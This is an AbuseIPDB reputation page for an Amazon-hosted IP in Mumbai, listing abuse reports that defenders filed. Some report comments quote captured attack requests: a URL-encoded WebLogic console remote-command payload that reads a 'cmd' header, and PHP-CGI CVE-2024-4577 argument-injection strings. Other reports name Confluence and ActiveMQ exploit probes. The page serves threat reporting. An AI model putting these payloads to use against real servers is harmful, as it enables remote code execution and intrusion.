JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 3.109.197.58

3.109.197.58 was found in our database!

This IP was reported 29 times. Confidence of Abuse is 76%: ?

76%

ISP	Amazon Data Services India
Usage Type	Data Center/Web Hosting/Transit
ASN	AS16509
Hostname(s)	ec2-3-109-197-58.ap-south-1.compute.amazonaws.com
Domain Name	amazon.com
Country	🇮🇳 India
City	Mumbai, Maharashtra

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 3.109.197.58

Whois 3.109.197.58

IP Abuse Reports for 3.109.197.58:

This IP address has been reported a total of 29 times from 24 distinct sources. 3.109.197.58 was first reported on April 17th 2026, and the most recent report was 1 day ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇺 electronico	2026-08-30 08:01:13 (1 day ago)	3.109.197.58 - - [30/Aug/2026:19:01:00 +1100] "GET /console/images/%252E%252E%252Fconsole.portal?_nf ... show more 3.109.197.58 - - [30/Aug/2026:19:01:00 +1100] "GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22weblogic.work.ExecuteThread%20thread%3D%28weblogic.work.ExecuteThread%29java.lang.Thread.currentThread%28%29%3Bweblogic.work.WorkAdapter%20adapter%3D%28weblogic.work.WorkAdapter%29thread.getCurrentWork%28%29%3Bjava.lang.reflect.Field%20f%3Dadapter.getClass%28%29.getDeclaredField%28%5C%22connectionHandler%5C%22%29%3Bf.setAccessible%28true%29%3BObject%20obj%3Df.get%28adapter%29%3Bweblogic.servlet.internal.ServletRequestImpl%20req%3D%28weblogic.servlet.internal.ServletRequestImpl%29obj.getClass%28%29.getMethod%28%5C%22getServletRequest%5C%22%29.invoke%28obj%29%3BString%20cmd%3Dreq.getHeader%28%5C%22cmd%5C%22%29%3Bif%28cmd%21%3Dnull%29%7BString%5B%5D%20cmds%3DSystem.getProperty%28%5C%22os.name%5C%22%29.toLowerCase%28%29.contains%28%5C%22win%5C%22%29%3Fnew%20String%5B%5D%7Bcmd%7D%3Anew%20String%5B%5D%7B%5C%22%2Fbin%2 ... show less	Brute-Force Web App Attack
🇦🇺 AWW-Admin	2026-08-30 07:15:23 (1 day ago)	(mod_security) mod_security triggered on hostname [redacted] 3.109.197.58 (IN/India/ec2-3-109-197-58 ... show more (mod_security) mod_security triggered on hostname [redacted] 3.109.197.58 (IN/India/ec2-3-109-197-58.ap-south-1.compute.amazonaws.com) show less	SQL Injection
🇩🇪 barbarella	2026-08-30 05:14:18 (1 day ago)	Multiple (4) times attack on https port 443: Command Injection for PHP Vulnerablity CVE-2024-4577 ( ... show more Multiple (4) times attack on https port 443: Command Injection for PHP Vulnerablity CVE-2024-4577 (POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input) 07:14:19 Command Injection for PHP Vulnerablity CVE-2024-4577 (POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input) 07:14:21 Command Injection for PHP Vulnerablity CVE-2024-4577 (POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input) 07:14:22 remote code execution vulnerability in Confluence Server CVE-2023-22527 (POST /template/aui/text-inline.vm) show less	Hacking Web App Attack
🇫🇷 Feelautom	2026-08-30 05:06:30 (1 day ago)	[FeelAutom Auto-Ban] DirectIpScan: /template/aui/text-inline.vm (Score: 200)	Hacking
Anonymous	2026-08-30 04:30:46 (1 day ago)	(mod_security) mod_security triggered on hostname [redacted] 3.109.197.58 (IN/India/ec2-3-109-197-58 ... show more (mod_security) mod_security triggered on hostname [redacted] 3.109.197.58 (IN/India/ec2-3-109-197-58.ap-south-1.compute.amazonaws.com) show less	SQL Injection
🇮🇪 AutosOnShow	2026-08-30 03:56:04 (1 day ago)	blocked for webapp attack \| path requested: /wiki/template/aui/text-inline.vm \| seen at 2026-08-30 0 ... show more blocked for webapp attack \| path requested: /wiki/template/aui/text-inline.vm \| seen at 2026-08-30 03:55:42.643 \| show less	Web App Attack
🇳🇱 MyGlobalFlowers	2026-08-29 22:44:48 (2 days ago)	Multiple WAF Violations	Web App Attack
🇺🇸 drewf.ink	2026-08-29 17:34:51 (2 days ago)	[17:34] Sent an ActiveMQ OpenWire payload referencing http://127.0.0.1/AMQ46604_24bc6108b2 - likely ... show more [17:34] Sent an ActiveMQ OpenWire payload referencing http://127.0.0.1/AMQ46604_24bc6108b2 - likely CVE-2023-46604 unauthenticated RCE attempt show less	Hacking
🇯🇵 ZEROVOX	2026-08-29 17:19:28 (2 days ago)	CrowdSec: crowdsecurity/http-probing detected	Web App Attack
🇩🇪 LRob	2026-08-29 12:18:00 (2 days ago)	Enumerating paths that do not exist (scanning) \| method: POST (+1 more) \| path: /php-cgi/php-cgi.exe ... show more Enumerating paths that do not exist (scanning) \| method: POST (+1 more) \| path: /php-cgi/php-cgi.exe (+7 more) \| ua: Mozilla/5.0 (+1 more) \| 2026-08-29 12:18 UTC show less	Port Scan Web App Attack
🇺🇸 HamSammich	2026-08-29 09:54:19 (2 days ago)	Automated sensor: 4 HTTP, HTTPS connection/probe attempts over the last 24h (latest 2026-08-29T09:54 ... show more Automated sensor: 4 HTTP, HTTPS connection/probe attempts over the last 24h (latest 2026-08-29T09:54Z). show less	Brute-Force Web App Attack
🇺🇸 LotPhantom	2026-08-28 16:06:29 (3 days ago)	3.109.197.58 - - [28/Aug/2026:16:05:28 +0000] "GET / HTTP/1.1" 404 146 "-" "Mozilla/5.0" "0" ...	Web App Attack
🇦🇺 FEWA	2026-08-26 15:22:23 (5 days ago)	Fail2Ban Ban Triggered	Hacking Bad Web Bot Web App Attack
🇺🇸 cwytech	2026-08-26 03:23:50 (5 days ago)	Fleet-wide ban from the Ghostfleet 👻. Triggered by scenario: cwy/tactical-rmm-lockdown-high.	Hacking
🇺🇸 NXTwoThou	2026-04-21 11:49:00 (4 months ago)		Port Scan

Showing 1 to 15 of 29 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇦 217.115.105.191

🇭🇰 216.118.251.42

🇹🇼 198.235.24.69

🇸🇪 195.178.191.5

🇺🇸 192.198.57.150

🇨🇴 186.29.182.219

🇵🇪 179.6.3.83

🇺🇸 172.59.114.42

🇩🇪 151.243.11.231

🇺🇸 151.240.54.28

🇳🇬 98.97.79.142

🇫🇷 85.217.140.39

🇦🇿 62.217.156.202

🇩🇪 46.232.249.132

🇧🇷 45.71.194.66

🇧🇪 34.52.189.231

🇺🇸 2a12:f540:323a:d71f:a4d2:4024:d074:344

🇸🇬 2a12:da86:419a:dba6:450f:1345:ca9d:f033

🇺🇸 2a10:4a01:dd87:f16d:ec22:2b8c:900b:52da

🇺🇸 2a10:4a00:db40:ce0e:d893:1c27:c4c7:e3d0